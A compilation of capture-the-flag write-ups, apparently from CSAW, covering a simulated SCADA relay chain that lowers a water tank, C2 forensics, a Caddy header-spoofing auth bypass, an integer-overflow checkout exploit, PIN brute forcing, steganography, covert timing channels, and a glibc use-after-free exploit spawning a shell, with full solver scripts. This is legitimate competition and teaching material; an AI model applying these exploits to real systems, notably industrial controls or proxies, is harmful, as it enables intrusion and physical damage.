A water treatment utility’s remote monitoring system has been left online with an old technician login page still reachable. The login does not work anymore, but the page was never actually taken down.

A five-stage chain: deobfuscate a JS gateway address → forge a time-derived gateway token → walk a virtual filesystem → authenticate to a chat bridge with a second token scheme → issue a SCADA control command through a relay proxy.

0. Architecture

Only /station/checkin/... is routed to Flask. Bare /api/v1 or /api/v2 prefixes on the LB host return Flask 404 — every API call must be nested under /station/checkin/.

Four simulated station workers sit behind the ALB, each with its own baseline clock:

Only st-04 serves the relay route. This matters enormously — see §7.

1. Frontend deobfuscation

The landing page is static and its login form is inert (POST returns Nginx 405). The real target is what assets/app.js reaches in the background.

1.1 The gateway address (ROT47 → hex → ASCII)

app.js contains a blob that is not plaintext:

4@?DE vp%t(p* lQ9EEADi^^=@H\E:56\=3]4E7]4D2H]:@^DE2E:@?^4964<:?Q

ROT47 (rotate printable ASCII 33–126 by 47) decodes it:

def rot47(s):
    return "".join(chr(33 + ((ord(c) - 33 + 47) % 94)) if 33 <= ord(c) <= 126 else c
                   for c in s)

Yielding:

const GATEWAY = "https://low-tide-lb.ctf.csaw.io/station/checkin";

Some copies of the payload carry a hex-encoded tail; decode hex first, then ROT47. A corrupted prefix on the first decode attempt is a common stumbling block — verify the result parses as a valid URL before trusting it.

1.2 The required User-Agent

app.js declares const REQUIRED_AGENT = and leaves it blank. The value comes from robots.txt, which carries five candidates in comments:

StationSync-Agent/2.1
FieldSync-Client/3.0
MonitorAgent/2.2
StationSync-Agent/2.0
RelayCheck-Bot/1.9

Only StationSync-Agent/2.1 is accepted. The others (notably RelayCheck-Bot/1.9) receive no session cookie and see only a frozen legacy clock at 2019-01-02T03:14:07Z — a decoy, not a second auth path.

1.3 renderStatus (red herring)

The function is obfuscated by even/odd character interleaving: characters at even indices form one line, odd indices the other. Deinterleaving yields ordinary DOM code touching status-light / status-text. No secrets.

1.4 robots.txt disallow entries (red herring)

/internal-monitor/ and /relay-status/ are Nginx 404s on the frontend and not_found through the authenticated filesystem. Dead ends.

2. Gateway authentication

POST /station/checkin
User-Agent: StationSync-Agent/2.1
action=checkin

Sets a 16-hex-character sid cookie and pins the connection to one worker. Sending action=checkin&token=probe returns the worker’s simulated clock:

{"reason":"code_mismatch: expected token derived from current sync time",
 "result":"rejected","sync_time":"2019-03-15T16:35:32Z"}

The clock advances in real time from its fake baseline. The token is:

token = md5(sid + str(int(unix_epoch_of_station_sync_time)))

import hashlib, datetime
ep = int(datetime.datetime.strptime(sync_time, "%Y-%m-%dT%H:%M:%SZ")
         .replace(tzinfo=datetime.UTC).timestamp())
token = hashlib.md5((sid + str(ep)).encode()).hexdigest()

Accepted response:

{"result":"accepted","role":"system_check","station_id":"st-04",
 "directory_api":"/api/v1/st-04/"}

This token is used for every subsequent call and must be regenerated each time — the clock moves, so a token is valid for roughly one second.

3. Virtual filesystem

Reachable at /station/checkin/api/v1/<station_id>/<path>, POST form with action=checkin + a fresh token. A bare GET returns unsupported_action. Rate limited: HTTP 429 with retry_after: 5.

The tree is identical on all four stations.

/                        {"entries":["station.log","config/"],"type":"directory"}
/station.log
/config/                 {"entries":["sync.conf","relay-bot.js","relay_chat.js"]}
/.logs/                  {"entries":["err_3005.log"]}     <-- NOT in any listing

Key trick: .logs/ never appears in a directory listing. It is discoverable only because station.log names it:

[st-04] routine check-in ok
[st-04] heartbeat nominal
[st-04] disk usage 34%
[st-04] cron: backup job completed
[st-04] WARN: stale handler dump written to .logs/err_3005.log
[st-04] heartbeat nominal

Follow the breadcrumbs:

• .logs/err_3005.log → chat bridge relocated: config/relay_chat.js
• config/relay-bot.js (base64) →

  // integration failed
  // see error 3005 in logs
  // token rotation broke auth
  

  (The “token rotation” line is a red herring — it lures you into brute-forcing rotating token schemes for the relay. The relay does not use one.)

• config/relay_chat.js →

  // chat bridge moved here after the v1 migration
  // endpoint: v2/chat
  // see sync.conf for the auth handshake, never finished porting it over
  

• config/sync.conf →

  chat bridge auth: Authorization: Bot <token>
  token=md5(station_id+MMM+DD+YY+HH+MM) all lowercase/zero-padded, e.g. mar05191324
  params: id=<message id, batch of 5>
  

Exhaustive search for relay documentation (config/relay.conf, config/.relay/, .config/, config/control.conf, …) returns not_found. The relay handshake is deliberately undocumented — unlike the chat bridge.

4. Chat bridge

GET /station/checkin/api/v2/chat?id=<n>
Authorization: Bot <md5(station_id + strftime("%b%d%y%H%M").lower())>

e.g. md5("st-04mar15191834"). Returns batches of 5 starting at id. 60 messages total; 5-second throttle. id=61 → invalid_id; id=0/-1 are indexing quirks returning the first batch, not a pre-retention archive.

The archive is read-only — posting control verbs returns unsupported_action. Messages 45–60 carry everything needed:

Message 56 is the win condition stated as a warning.

5. The relay

Route: POST /station/checkin/relay — no trailing slash. /relay/ is not a route.

5.1 Mapping the gates

Each gate is a distinct rejection reason, which lets you bisect the request shape:

5.2 The working request

POST /station/checkin/relay HTTP/1.1
Host: low-tide-lb.ctf.csaw.io
User-Agent: StationSync-Agent/2.1
X-Relay-Target: http://10.10.14.31/
X-Relay-Key: 4f9a-77c2-e01d
Cookie: sid=<session sid>
Content-Type: application/x-www-form-urlencoded

action=checkin&token=<md5(sid+station_epoch)>&cmd=CMD:WATER:LOWER:50

Three non-obvious requirements:

1. action stays checkin. action=raise/lower/control are invalid actions that divert into a branch which never reaches the token check.
2. The control instruction goes in cmd, colon-delimited: CMD:WATER:LOWER:<magnitude>. Not command, not action.
3. The relay key is a header. X-Relay-Key. As form key / relay_key / code / auth, or as Authorization: Bot|Relay <key>, it fails.

The target must also be a header (X-Relay-Target); as a form field the request stays at invalid_relay_target.

5.3 Response

{"relay":{"alarm":"LOW LEVEL",
          "flag":"csaw{REDACTED}",
          "status":"critical",
          "water_level":20},
 "result":"accepted","role":"system_check","station_id":"st-04"}

Lowering the tank drives water_level to 20, trips the LOW LEVEL alarm, and releases the flag — the behaviour message 56 warned about, and the reason the challenge is called Low Tide.

6. Full solver

import requests, hashlib, time, datetime

LB  = "https://low-tide-lb.ctf.csaw.io"
UA  = "StationSync-Agent/2.1"
KEY = "4f9a-77c2-e01d"
HDR = {"X-Relay-Target": "http://10.10.14.31/", "X-Relay-Key": KEY}

class Station:
    def __init__(self):
        self.s = requests.Session()
        self.s.headers["User-Agent"] = UA
        self.sid = None

    def post(self, path, data=None, headers=None, tries=8):
        for _ in range(tries):
            r = self.s.post(f"{LB}{path}", data=data or {},
                            headers=headers or {}, timeout=25)
            if r.status_code == 429:                  # honour the throttle
                try:   w = float(r.json().get("retry_after", 5))
                except Exception: w = 5
                time.sleep(w + 0.4); continue
            return r
        return r

    def boot(self):
        self.post("/station/checkin", {"action": "checkin"})
        self.sid = self.s.cookies.get("sid")

    def station_epoch(self):
        j = self.post("/station/checkin",
                      {"action": "checkin", "token": "probe"}).json()
        t = j.get("sync_time")
        if not t: return None
        return int(datetime.datetime.strptime(t, "%Y-%m-%dT%H:%M:%SZ")
                   .replace(tzinfo=datetime.UTC).timestamp())

    def token(self):
        return hashlib.md5((self.sid + str(self.station_epoch())).encode()).hexdigest()

    def auth(self):
        return self.post("/station/checkin",
                         {"action": "checkin", "token": self.token()}).json()

# Only st-04 serves the relay; the ALB assigns a worker per connection,
# so keep opening sessions until one lands on st-04.
while True:
    st = Station(); st.boot()
    if st.auth().get("station_id") == "st-04":
        break
    time.sleep(1.5)

r = st.post("/station/checkin/relay",
            {"action": "checkin", "token": st.token(),
             "cmd": "CMD:WATER:LOWER:50"}, HDR)
print(r.status_code, r.text)

7. Pitfalls that cost the most time

7.1 Station drift silently changes the answer

Only st-04 serves the relay. The other three workers answer the identical request with unsupported_action. The ALB assigns a worker per connection and requests.Session keep-alive does not reliably pin one.

Observed live, within a single session object:

action=lower                    code_mismatch        [after = st-04 lost]
action=lower value=50           unsupported_action   [after = st-03]   <- never reached the relay
action=control command=lower    unsupported_action   [after = st-03]   <- never reached the relay

Two probes were logged as “parameter doesn’t work” when they had in fact executed against a station with no relay route at all.

Rule: unsupported_action means wrong worker — retry, never wrong parameter. Confirm station_id == "st-04" in the same connection immediately before (ideally also after) any relay probe, and discard drifted results.

7.2 The /relay/<anything> catch-all is a false positive

/relay/raise, /relay/lower, /relay/50, and /relay/bogus all return

{"result":"accepted","role":"system_check", ...}

This is the generic heartbeat, not a successful command — /relay/bogus succeeding proves the subpath is never validated. Direction is not encoded in the path.

7.3 The token was never the problem

action=raise returning code_mismatch while action=checkin returned invalid_command looks like an action-bound token. It is not: raise is simply an invalid action whose branch never reaches the token check. Combined with relay-bot.js’s “token rotation broke auth” comment, this can consume hours of brute-forcing per-second and per-minute token schemes that were never needed.

7.4 Self-inflicted rate limiting produces silent empty results

Each probe costs ~5 requests (boot, sync, auth, sync, relay). Once 429s begin, retry_after=5 backoffs compound. One sweep ran a full 560-second budget, exited cleanly with status 0, and wrote zero bytes — every request consumed by backoff sleeps. A single isolated request returns in 0.9 s, so the service is not blocking; the volume is self-inflicted.

Rule: print a line per candidate even on failure, so an exhausted budget is distinguishable from a genuine negative.

7.5 The command schema and parameter name are not derivable

This is the one part of the challenge that is not solvable from the artifacts, and it is where the most time went.

Every earlier stage documents itself. station.log names .logs/err_3005.log. err_3005.log names config/relay_chat.js. relay_chat.js names v2/chat and points at sync.conf. sync.conf then spells out the chat bridge handshake completely — parameter names, token construction, even a worked example:

chat bridge auth: Authorization: Bot <token>
token=md5(station_id+MMM+DD+YY+HH+MM) all lowercase/zero-padded, e.g. mar05191324
params: id=<message id, batch of 5>

Nothing equivalent exists for the relay. An exhaustive search of the virtual filesystem — config/relay.conf, config/.relay/, config/.relay.conf, .config/, config/control.conf, config/relay-sync.conf, .logs/relay.log, and the same names on all four stations — returns not_found every time. The two relay-adjacent files that do exist are deliberately empty of specification:

// relay-bot.js
// integration failed
// see error 3005 in logs
// token rotation broke auth        <- actively misleading; see 7.3

So both halves of the final request have to be guessed blind:

The parameter name. The relay reads cmd. Attempts covered command, action, value, magnitude, amount, level, delta, mag, units, percent, feet, inches, qty, steps, direction, and combinations — all rejected identically. Nothing in the response text distinguishes “unknown parameter” from “wrong value”, so the failures carry no gradient to follow.

The command schema. The value must be CMD:WATER:LOWER:<magnitude> — a four-field colon-delimited string. The chat log says only that raise and lower are exposed on the water level (msg 49); it never shows the wire format. Attempts covered bare verbs (raise, lower), space-separated pairs (lower 50), and other delimiters (lower:50, lower=50, lower,50, lower/50, -50, +50) — none of which is the required shape. The literal CMD: prefix and the WATER subsystem field are not hinted at anywhere in the source, the filesystem, or the chat archive.

This was ultimately supplied by Hint 3:

The relay expects its control command in the cmd parameter using this structure: CMD:WATER:LOWER:

Worth noting for anyone replaying this: the interesting, discoverable work ends at the chat bridge. The relay’s remaining barrier is a two-part guess with a flat error surface and no feedback, and time spent there is better spent on the hint. The relay-bot.js “token rotation” comment makes it worse by pointing at a credential problem that does not exist (7.3), which is what pulled the investigation toward brute-forcing token formulas instead of the command format.

8. Attack chain summary

static page (decoy)
  └─ app.js  ── ROT47/hex ─→ GATEWAY url
  └─ robots.txt ─────────→ User-Agent: StationSync-Agent/2.1
       └─ POST /station/checkin ─→ sid cookie + simulated clock
            └─ token = md5(sid + station_epoch)
                 └─ /api/v1/<st>/ virtual filesystem
                      └─ station.log ─→ .logs/err_3005.log   (unlisted)
                           └─ config/relay_chat.js ─→ config/sync.conf
                                └─ chat token = md5(station_id + %b%d%y%H%M)
                                     └─ /api/v2/chat ─→ relay key + admin IP
                                          └─ POST /station/checkin/relay
                                               X-Relay-Target + X-Relay-Key
                                               cmd=CMD:WATER:LOWER:50
                                                    └─ LOW LEVEL alarm ─→ FLAG

One component per exhibit — but each one is the second thing you’d reach for, not the first. That is the whole challenge.

0. Separating signal from filler

The synthetic data has a tell that identifies the author’s planted artifacts:

• XML: planted events have timestamps ending .000Z — 16 of 3193 (~3 expected by chance, so ~13 are deliberate)
• pcap: planted packets have 10 ms-round timestamps — 46 of 4236, in exactly four flows

This is the single most useful technique here and generalises to any synthetic-data forensics challenge. It reduces 3193 log events and 4236 packets to about twenty artifacts that matter.

1. The two chains

Chain A — benign decoy

23:58:05  Task \Fenwick\Backup\NightlyBackup Execute
23:58:09  DNS backup-vault.fenwick.local
23:58:10  POST /api/sync  {"id":"QkFDS1VQU1ZD"}  -> BACKUPSVC
23:58:43  7045 BkupAgent64 -> drivers\BkupAgent64.sys
23:58:48  SecurityHealthService stopped
00:04:05  Task ResultCode 0        <- completes cleanly
00:04:07  Agent stopped

Six minutes, clean exit. A real nightly backup job dressed to look alarming.

Chain B — the intrusion

01:13:41  DNS docs-fenwick-portal.com -> 52.112.198.39
01:13:42  POST /api/sync  {"id":"UkVMQVlTSEVMTA=="}  -> RELAYSHELL
01:14:15  7045 Afd4Eop12 -> drivers\Afd4Eop12_x64.dll
01:14:20  WinDefend stopped        <- NEVER RESTARTS
01:14:25  First TLS session to the C2
01:13–05:58  Beacon: 73 connections, ~237 s mean, CV 0.10

2. C2INDICATOR = RelayShell

Not the domain. The indicator is the implant’s own identifier, posted to the C2 in its first check-in:

POST /api/sync   Host: docs-fenwick-portal.com
{"id": "UkVMQVlTSEVMTA==", "v": "1.4"}   ->  RELAYSHELL

The decoy chain carries a structurally identical BACKUPSVC, which is how you know the pair is deliberate — the author built an A/B so you can tell which identifier belongs to the real intrusion.

Gotcha: the malicious POST is split across two TCP segments, so a naive regex over individual packets only catches the decoy’s id. Reassemble the stream first.

3. SERVICENAME = WinDefend

Not the installed service. Afd4Eop12 is the attacker’s dropped driver — it looks like the answer because it’s the anomalous 7045 install (registered as a kernel driver but pointing at a .dll, which is invalid). But the question asks for the service involved in the attack, and that is the one the attacker killed.

All WinDefend state changes:

20:12:07  stopped
20:12:44  running     <- 37 s, benign
01:14:20  stopped     <- 5 s after Afd4Eop12 installs, NEVER restarts
03:41:52  stopped
03:42:21  running     <- 29 s, benign

The discriminator is mechanical: two stopped events in a row with no intervening running means the service stayed down. That is the attacker’s kill, and it lands five seconds after the driver install.

SecurityHealthService is the decoy chain’s equivalent — stopped at 23:58:48 during the backup job.

4. BACKDOORNAME = ForestTiger

Not any one of the planted names — two of them joined.

The memdump contains exactly four simple string reversals (verified exhaustive against a 97k-word dictionary, a malware-name list, all 26 Caesar shifts, base64/base85, acrostic, and embedded substrings, forward and reversed):

The brief says:

Public data shows that the patterns we are seeing could align with actions of a specific group, but we have not been able to identify which one. These groups are known to borrow from each other’s playbooks, so keep an eye out for any anomalies.

COPPERHEDGE and FUDMODULE are the borrowed playbooks — genuine, publicly documented tools planted to make you attribute the intrusion to Lazarus. The anomaly is that the other two are not malware names at all. They are fragments, and they concatenate:

FOREST + TIGER  ->  ForestTiger

The joke is that both halves are threat-actor naming conventions from different vendors — Microsoft’s “Forest Blizzard” (APT28, Russia) and CrowdStrike’s “…Tiger” suffix (India) — welded into one fictional name. Neither half means anything alone, which is exactly why they’re the odd ones out.

5. Solver

~/ctf/forenn/solve.py derives all three components mechanically:

planted reversals:
  7ff6000f02ed  TIGER        fragment
  7ff600100c29  FUDMODULE    decoy (real malware)
  7ff60011181c  COPPERHEDGE  decoy (real malware)
  7ff60011a103  FOREST       fragment

C2INDICATOR   RELAYSHELL    (beacon id posted to docs-fenwick-portal.com)
SERVICENAME   WinDefend     (stopped, never restarted)
BACKDOORNAME  ForestTiger   (non-malware fragments joined)

csaw{REDACTED}

The service is found by scanning 7036 events for two consecutive stopped states; the backdoor by filtering the reversed tokens against a known-malware list and joining whatever is left.

6. Post-mortem — why this took ~60 failed submissions

Every individual artifact was recovered correctly and early. The failure was entirely in mapping artifacts to slots, and all three errors share one cause: reaching for the most conspicuous item rather than the one the question asked for.

The compounding effect is the real lesson: with three slots and one wrong assumption in each, a correct guess in any single slot still returns “incorrect”, which reads as evidence against that guess. I burned two 16-cell grids (domain × service × name, then beacon-id × service × name) without ever varying the service slot away from the two 7045 installs — so the correct value was never in any grid I searched.

Transferable rules:

• When a flag has N labelled slots, enumerate candidates per slot before combining. A wrong value in one slot makes every correct value elsewhere look wrong.
• “Service involved in the attack” can mean the service attacked, not the service installed. Read the label literally.
• If two recovered tokens are individually meaningless, try concatenating them before discarding either.
• Planted real names (COPPERHEDGE, FUDMODULE) in a challenge that explicitly warns about “borrowed playbooks” are decoys by construction. The answer is the thing that isn’t publicly attested.

The caddy carries everything for them — keys, secrets, headers… and he doesn’t check what’s in the bag.

The pun is Caddy, the reverse proxy. The description tells you the bug class outright.

1. Find the right numbers

Three endpoints return 418 I'm a teapot — apparently useless, but each leaks a rotor setting in a response header:

The value is base64 of a zero-padded integer:

MDAwMDE4  ->  "000018"  ->  R1 = 18

Observed: R1=18, R2=14, R3=15. These are regenerated on each service start, so a solver must read them live.

2. Speak the right words

Those rotors drive a three-rotor Enigma (rotors I/II/III + reflector) over the fixed input G, O, L:

def enigma(r1, r2, r3):
    def f(c, w, o): return w[(ALPHA.index(c) + o) % 26]
    out = []
    for s in ["G", "O", "L"]:
        c = s
        c = f(c, W["I"],   r1 % 26)
        c = f(c, W["II"],  r2 % 26)
        c = f(c, W["III"], r3 % 26)
        c = W["REF"][ALPHA.index(c)]
        c = f(c, W["III"], (26 - r3 % 26) % 26)
        out.append(c)
    return out

→ W, O, H

The passphrase then indexes the word table at 0, 1, 0 — not 0,0,0:

PHRASE = [WORDS[l0][0], WORDS[l1][1], WORDS[l2][0]]

→ wedge out handicap

3. Let the caddy do the rest

/api/vault/admin-item validates the phrase, then reads the role straight off the request:

role = req.headers.get("X-User-Role", "")
if role.lower() == "admin":
    return {... "flag": FLAG ...}

The leaked Caddyfile (/api/engineer/caddyfile) explains why that is reachable:

:8000 {
    forward_auth 127.0.0.1:9091 {
        uri /auth
        copy_headers X-User-Id X-User-Role
    }
    reverse_proxy 127.0.0.1:9092
}

GHSA-7r4p-vjf4-gxv4 — Caddy’s forward_auth copy_headers copies those headers from the auth response but does not strip client-supplied ones first. A header the client sets survives to the backend.

POST /api/vault/admin-item
X-User-Role: admin
X-User-Id: caddy

phrase=wedge out handicap

Solver: ~/ctf/work/golf/solve.py — re-derives rotors and phrase live, so it works against a fresh instance.

A body of rock, a body of ice, a body of steel… When you have the three Pokémon, the king shall appear.

Regirock / Regice / Registeel unlock Regigigas — three gated stages feeding a fourth. Each stage is a different primitive, and each stage’s answer is the next stage’s key.

Markers are 12-digit random suffixes specifically so the submit forms cannot be used as a correctness oracle — you have to break each layer.

Stage 1 — Granite (Regirock): autokey cipher

stone.json holds a ciphertext produced by an autokey cipher primed with STONE. Autokey feeds the plaintext back in as key material after the primer, so it decrypts sequentially:

pt[i] = ct[i] - (primer[i]      if i <  len(primer)
                 else pt[i-len(primer)])

def autokey_decrypt(ct, primer="STONE"):
    key = "".join(c for c in primer.upper() if c.isalpha())
    pt = []
    for i, ch in enumerate(ct):
        k = ord(key[i]) - 65 if i < len(key) else ord(pt[i - len(key)]) - 65
        pt.append(chr((ord(ch) - 65 - k) % 26 + 65))
    return "".join(pt)

The plaintext spells the marker suffix as concatenated digit-words (NINENINETWO...). Since autokey_encrypt strips all non-alpha, the word boundaries are gone — parse with backtracking against the 12-word length.

→ GRANITE-992220037417

Stage 2 — Frost (Regice): SHA-256 counter keystream

frost.bin is XORed with SHA256(material ‖ counter) where the material is SHA256(K1).

def stream_xor(data, material):
    out = bytearray(); pos = counter = 0
    while pos < len(data):
        block = hashlib.sha256(material + counter.to_bytes(8, "big")).digest()
        out.extend(x ^ y for x, y in zip(data[pos:pos+32], block))
        pos += 32; counter += 1
    return bytes(out)

This is the “follow the origin” hint — stage 2’s key is stage 1’s answer.

→ CRYO-664128208716

Stage 3 — Iron (Registeel): chained digest

Same keystream construction, but the material is a three-link chain, spelled out in the artifact’s own plate_note:

h0 = SHA256(K2)
h1 = SHA256(h0 ‖ K1)
h2 = SHA256(reverse(h1) ‖ K2)      <- byte-reversal

The reversal is the “the shape of the answer is not the answer” inscription.

→ FERRUM-345246166574

Stage 4 — The vault (Regigigas): AES-GCM

key   = sha256(f"{k1}|{k2}|{k3}".encode()).digest()
nonce = base64decode(vault["nonce_b64"])
aad   = "NORTHERN-RELIQUARY-V1"
flag  = AESGCM(key).decrypt(nonce, ciphertext, aad.encode())

The altar’s “the order is not decorative” matters: stone ‖ frost ‖ iron, pipe-joined, in that order.

Solver: ~/ctf/work/temple/solve.py — walks the session gates and re-derives everything live, so it works against a fresh instance.

The correctly-deployed version of the CSALE storefront. The Python source is byte-identical to the beta release — only the deployment differed, which is why the beta was unsolvable by the intended path.

Vulnerability: signed 32-bit integer overflow

def signed_32(value):
    value &= 0xFFFFFFFF
    return value - 0x100000000 if value & 0x80000000 else value

# in checkout():
total = signed_32(sum(x["price_cents"] * x["quantity"] for x in items))

Listing 9 (“Flag”, seller superdiscreteflaguser) is priced at $10,000,000 — 1,000,000,000 cents. add_to_cart clamps quantity to 25, which is plenty:

quantity 3  ->  3,000,000,000  >  2^31 (2,147,483,648)
             ->  signed_32 wraps to  -1,294,967,296

Both balance guards then pass on a fresh $0 account:

if total > balance or balance - total < 0:
    #  -1,294,967,296 > 0           -> False
    #  0 - (-1,294,967,296) < 0     -> False
    return redirect("/cart?error=funds")

Checkout succeeds. The order snapshot copies the listing’s fulfillment_note, which carries the flag.

Exploit

POST /signup            username=<random>&password=<random>
POST /cart/items        listing_id=9&quantity=3
POST /cart/checkout
GET  /account/orders  ->  GET /orders/<id>

The order detail page renders the note containing the flag.

Second bug (found, not needed)

/<slug>/preview and the GET side of /<slug>/unlock never check ownership — unlike draft_unlock’s POST branch and /account/drafts, which both filter by owner_id. And draft_file() searches:

image_path(Path(draft["image_filename"]).name,
           (DRAFT_UPLOAD_DIR, PRIVATE_LISTING_IMAGE_DIR))

PRIVATE_LISTING_IMAGE_DIR is the one directory containing FLAG_IMAGE_PATH (flag.png) that no other route can reach. It is unexploitable in practice only because draft slugs are seeded into the private DB and no route lists another user’s drafts.

Solver: ~/ctf/work/csale2/pwn.py (parameterised by base URL)

Note the flag format: this challenge uses last year’s csawctf{}, not csaw{}.

Summary

A Flask storefront. The organisers pulled the source release as “inaccurate”, so this had to be solved black-box against the live instance. The real difficulty is not the exploitation — it is a two-layer decoy designed to absorb effort on a hidden-text extraction that turns out to be bait.

1. Account enumeration

The store exposes seller accounts, including a non-obvious one: superdiscreetflaguser.

Spelling matters: this instance uses discreet; the Revenge instance uses discrete. Easy to mistype.

2. PIN brute force

Accounts are gated behind a 4-digit PIN with no lockout and no rate limiting — a 10,000-key space. Recovered:

Walter_W:              3276
Zoro:                  7800
OSIRIS:                9898
Zuko:                  0540
superdiscreetflaguser: 9837

3. Pull the flag account’s images

Authenticated as the flag account, fetch its listing/draft images rather than the public thumbnails.

4. The two-layer trap

Layer 1 — the decoy (expensive, wrong)

One image carries text rendered at extremely low contrast: grey on orange, roughly 20 RGB levels of separation, completely invisible at normal viewing. Recovering it requires per-channel separation, contrast stretching, and connected-component analysis to segment the glyphs. It yields:

csawctf{REDACTED}

This feels like the solve. It is not. The same image also carries large handwritten text above and below the flag line reading:

do not submit this as flag / you will be banned

Layer 2 — the real flag

The actual flag is in a second image (flag_v2.png), written in plain black handwriting across the top of a Zuko/Aang panel from Avatar. No extraction technique is needed — it is legible as soon as you are looking at the right asset.

csawctf{REDACTED}

(“That’s rough, buddy.”)

Lesson

The hard-to-extract hidden text exists specifically to consume time. When a recovered flag is rejected, re-examine which asset you are looking at before assuming the extraction was wrong.

Artifacts: ~/ctf/work/web/ — flag_v2.png (real), flag_img.png (decoy), flagv2_zoom.png, zoom_rough.png, pins_new.txt

The site is a maze of interlinked rooms with no site map and nothing useful in the headers. The route through it is a Morse message hidden in the whitespace of a poem, which names the one room holding the flag.

1. The maze

Every room (/atrium/, /ossuary/, /wellspring/, /mirror/, and around fifty more) links to roughly 50 others, so blind crawling gives no gradient.

robots.txt is the entry point:

User-agent: *
Disallow: /internal-monitor/
Disallow: /relay-status/

# the obedient have been answered.

The comment is an invitation to visit what is disallowed.

2. The nudge

One room carries the HTML comment:

<!-- not every word is the colour it appears to be. select all, if you must. -->

Several rooms style text at near-background colours, so a select-all or a tag-stripping fetch is needed to read them. A small crawler that saved each room and printed its comments, stripped text, and any csaw{REDACTED} match did the walking:

curl -sS -o "$N.html" "https://hollow-houses.ctf.csaw.io/$P"
grep -o '<!--[^>]*-->' "$N.html"
grep -oiE 'csaw\{[^}]*\}' "$N.html"

3. The message

/wellspring/ holds a <pre class="elegy"> poem. The words are filler; the gaps are the payload. Per line, each inter-word gap is one Morse symbol — a single space is a dot, two or more spaces a dash — one line is one letter, and a blank line is a word break:

sym = "".join("-" if len(m.group(1)) > 1 else "."
              for m in re.finditer(r"(?<=\S)( +)(?=\S)", ln))

Decoded: THE FLAG LIES WAITING IN THE SANCTUM

4. The room

/sanctum/ carries the flag plainly in <span class="flag breathe"> — no further trick once you know which of the fifty-odd doors to open.

Scripts: ~/ctf/work/hollow/ (f.sh, morse.py, poem2.py)

Every packet in the capture is identical, so nothing is carried in the bytes. The message lives in the gaps between packets, and the XOR key that unlocks it is spelled out by the source ports.

1. The capture

504 UDP packets, one direction only:

• every payload is the literal PING
• every IP.len is 32
• IP.id is pinned at 4919 (0x1337)

Nothing varies except TTL (64 or 113), source port, and arrival time.

2. Separating signal from noise

Of 121 distinct source ports, 6 carry 64–65 packets each and the other 115 carry one to three. Keeping only the six busy ports leaves 385 real packets; the 115 stragglers are chaff.

3. The key

The six real ports, in first-seen order, are a direct ASCII encoding:

→ sh4dow

4. The covert channel

385 packets give 384 inter-arrival deltas, falling into two clean, non-overlapping bands:

• 245 short gaps, 35.5–64.8 ms
• 139 long gaps, 135.1–164.8 ms

Threshold at 100 ms, map long → 1 and short → 0, pack MSB-first into bytes, then XOR with the repeating key.

bits = "".join('1' if x >= 100 else '0' for x in deltas)
ct   = bytes(int(bits[i:i+8], 2) for i in range(0, len(bits), 8))
flag = bytes(ct[i] ^ b'sh4dow'[i % 6] for i in range(len(ct)))

Decoy

TTL also varies two ways (64/113) and looks like an obvious bit channel. Decoding it yields nothing.

Scripts: ~/ctf/work/pcap/ (an.py, t.py, t2.py)

The binary decrypts its own secret_check function at runtime and then uses those same decrypted bytes as the keystream for the flag — the code is its own key material. Solved entirely statically; the binary is never executed, so no anti-debug is ever engaged.

Chain

1. Self-modifying code

main() calls mprotect on its own .enccode section to make it RWX, then XOR-decrypts 0x15e bytes at secret_check with an 8-byte repeating key 1337c0debaadf00d (symbol smc_key.0), and calls the result.

Replicating that offline gives the decrypted function body.

2. Password recovery

The decrypted secret_check builds its expected password on the stack one byte at a time as mov BYTE PTR [rbp+disp8], imm8 — opcode c6 45 <disp8> <imm8>.

Regex the decrypted bytes for that pattern, sort by stack displacement, and take the longest run of consecutive slots holding printable values:

slots = sorted({d[0]: v[0] for d, v in re.findall(rb'\xc6\x45(.)(.)', dec, re.S)}.items())

→ n2o_boost

3. Flag keystream

The flag is not stored. It is XORed against a keystream indexed back into the decrypted code:

k_i = (dec[(7*i + 3) % 0x15e] + 5*i + 0x6b) mod 256
flag[i] = enc_flag[i] ^ k_i          # over 0x2f bytes

Note

Because the keystream is derived from the decrypted code, you cannot simply dump the flag at runtime without also reconstructing the SMC step — and reconstructing the SMC step makes running the binary unnecessary.

Solver: ~/ctf/work/nitro/solve.py

typedef struct chorister {
    char   name[0x38];                      // 0x00
    void (*sing)(struct chorister *self);   // 0x38  <- called as c->sing(c)
    char  *transcript;                      // 0x40
    size_t transcript_len;                  // 0x48
    int    active;                          // 0x50
} chorister_t;                              // sizeof 0x58 -> chunk 0x60

Vulnerability

op_retire() frees c->transcript and c, then writes c->active = 0 into the freed chunk, and never clears choir[idx]:

if (c->transcript) free(c->transcript);
free(c);
c->active = 0;          // UAF write

op_restore() sets c->active = 1 on that same freed object, so every other menu op now operates on a dangling chorister_t.

Critically, tcache only clobbers the first 0x10 bytes of a freed chunk (fd + key), so sing, transcript, transcript_len and active all survive intact.

Target

glibc 2.35, Full RELRO, PIE, NX, canary. Hooks were removed in 2.34, so there is no __free_hook — but none is needed: the program hands over an indirect call with a controlled argument, and name[] is at offset 0, so the argument is a pointer to attacker text.

Exploit

1. Layout — recruit seat 0 with a 0x500 transcript and seat 1 as a guard, so the big transcript is not adjacent to the top chunk.
2. Dangle — retire + restore seat 0. The 0x510 transcript is too big for tcache, so it lands in the unsorted bin with fd = bk = main_arena+96, and the object is dangling-but-active.
3. Leak — op_recite(0) does write(1, c->transcript, c->transcript_len) on the freed buffer, dumping the arena pointer. main_arena+96 sits at libc+0x21ace0 in this build.
4. Groom — retire seat 1 so tcache[0x60] = [C1, C0].
5. Reclaim — recruit seat 2 with a 0x58 transcript. The chorister malloc pops C1; the transcript malloc pops C0, the dangling choir[0], and read_exact writes 0x58 raw attacker bytes straight over the struct:

forged  = b"/bin/sh\x00".ljust(0x38, b"\x00")   # name[] — also the argument
forged += p64(libc.sym.system)                  # sing
forged += p64(0) + p64(0) + p32(1)              # transcript, len, active
recruit(b"C", 0, 0x58, forged.ljust(0x58, b"\x00"))

1. Fire — op_perform() iterates active choristers and calls choir[0]->sing(choir[0]) → system("/bin/sh").

Gotchas

• main_arena is stripped from the shipped libc. Calibrate the offset empirically against /proc/<pid>/maps rather than guessing.
• setvbuf(stdout, _IOFBF) means nothing is flushed before system() executes. Waiting on the “Performance begins” banner deadlocks forever — talk straight to the shell.
• system begins with endbr64, so the binary’s IBT marking is not an obstacle.

Root cause

A single missing assignment. Clearing choir[idx] on free closes every primitive. The active flag is a red herring as a guard — it lives inside the allocation it is supposed to protect.

Solver: ~/ctf/work/vespers/local/x.py